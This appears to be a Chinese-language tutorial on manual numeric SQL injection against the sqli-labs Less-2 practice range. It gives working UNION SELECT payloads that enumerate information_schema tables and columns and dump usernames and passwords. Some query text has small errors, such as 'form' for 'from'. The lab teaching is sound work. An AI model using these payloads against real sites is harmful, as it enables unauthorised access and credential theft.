含有sqli-labs第二关数字型注入+流程介绍=大发雷霆注入法
- 一、SQL手工注入流程:
-
SQL注入之实战流程如下:
- 1、判断有无注入点
- 2、猜解列名数量
- 3、通过报错方式,判断回显点是否存在
- 4、回显点进行信息收集
- 5、对应 SQL数据库注入
- 使用:(1) and 1=1 (2)order by (3)union (4) gr
- 不懂可以提前理解(MySQL知识点,详细版会简单描述)
- 二、简单理解:练习靶场为sqli-labs第二关数字型注入
-
(1)浏览器进行数据提交服务器:
-
get 提交 : 通过 url 提交 1.数据长度 2.速度快
-
http://localhost/sqli-labs-master/Less-2/index.php?id=1
-
post 提交 : 通过服务器提交 1.安全性 2.数据量
注意:参数传递方式:GET 请求的参数会放在 URL 中,通过 URL 可以直接看到;POST 请求数据是放在请求体里,通过 URL 无法直接看到。
-
(2)在url中输入id值,执行查询sql语句。即可得到对应数据less-2源码分析:
-
(3)SQL注入原理代码理解:
- 三、尝试手工注入流程--详细版:
-
1.判断有无注入点 :and 1 = 1; 意思为: true (真:不会报错)
-
注意:最朴实的烹饪办法当然是(最简单判断是否存在注入点)随便输入内容辣
传递代码:Select * from users where user = $user and 1=1
注入:index.php?id=1 或者 and 1=1 或者 随便输入
-
2.猜解列名数量 order by (如果存在:%20 表示 空格而已)
-
说明:order by效果为排序---MYSQL中 例:战士是“5 6 8 3” 经过 长官是“order by” ,报数 3 5 6 8
-
(备注:不要看我们了会害羞的,两者图片效果可以一样)
理解:通过盲猜判断语句为:order by 对字段进行排序,没有着报错获取信息
-
传递代码:select id form users where id = 2 union select * form users order by 1; 注入:index.php?id=1 order by 4
-
3.通过报错方式获取到字段数,结合union【判断回显点(union合并查询)】
注意:保证列名数量一致,否则报错
报错参考如下:
-
使id=-1直接使查询结果为空,这样,就不会占用第0行位置保证union 中1,2,3回显
-
注入:index.php?=-1 union select 1,2,3
-
4.通过回显点进行信息收集
-
(1)数据库版本:version() 、@@version
-
(2)数据库名字:database()
-
(3)数据库用户:user()
-
(4)操作系统:@@version_compile_os
- (5)数据库路径:@@datadir
-
效果如下图:(其他同理自行尝试)
-
注入:index.php?id=-1 union select 1,version(),3 备注:如果迷糊,说明没有动脑子(请自行思考为什么要收集以上内容)
-
5.使用对应SQL信息(数据库)完成真实注入,获取信息(偷吃禁果)
-
(1)信息整理:
1-数据库库名:security 2-php版本:5.7.26 3-字段数量
4-information_schema.tables(解读:数据库服务+连接点+所有表信息)
5-infromation_schema.columns(解读:数据库服务+连接点+所有列信息)
备注:从4、5获取通过卡片即可偷吃禁果,长生不老
-
(2)获取“security”数据库--表名信息
-
解读:
1、group_concat(table_name):
直接打印table_name 如果表明过多会导致无法显示可使用Group_concat( )函数为:聚合函数,进行分组去重
2、范围过大进行缩减:(table_schema 是数据库的名称、where提取满足指定条件的信息)
where table_schema=database()
-
注入: index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema .tables where table_schema=database()
-
(3)获取“users”表--获取列信息
-
注意:通过回显的值判断:账户和密码为哪个字段即可 注入: index.php?id=-1 union select 1,group_concat(column_name),3 from information_ Schema.columns where table_name=0x7573657273
-
(4)品尝禁果,获取列下数据信息:查询username password字段(0x3a为“:”)
-
注入: index.php?id=-1 union select 1,2,(select group_concat(username,0x3a,password) from users)
-
成功获取用户账号与对应密码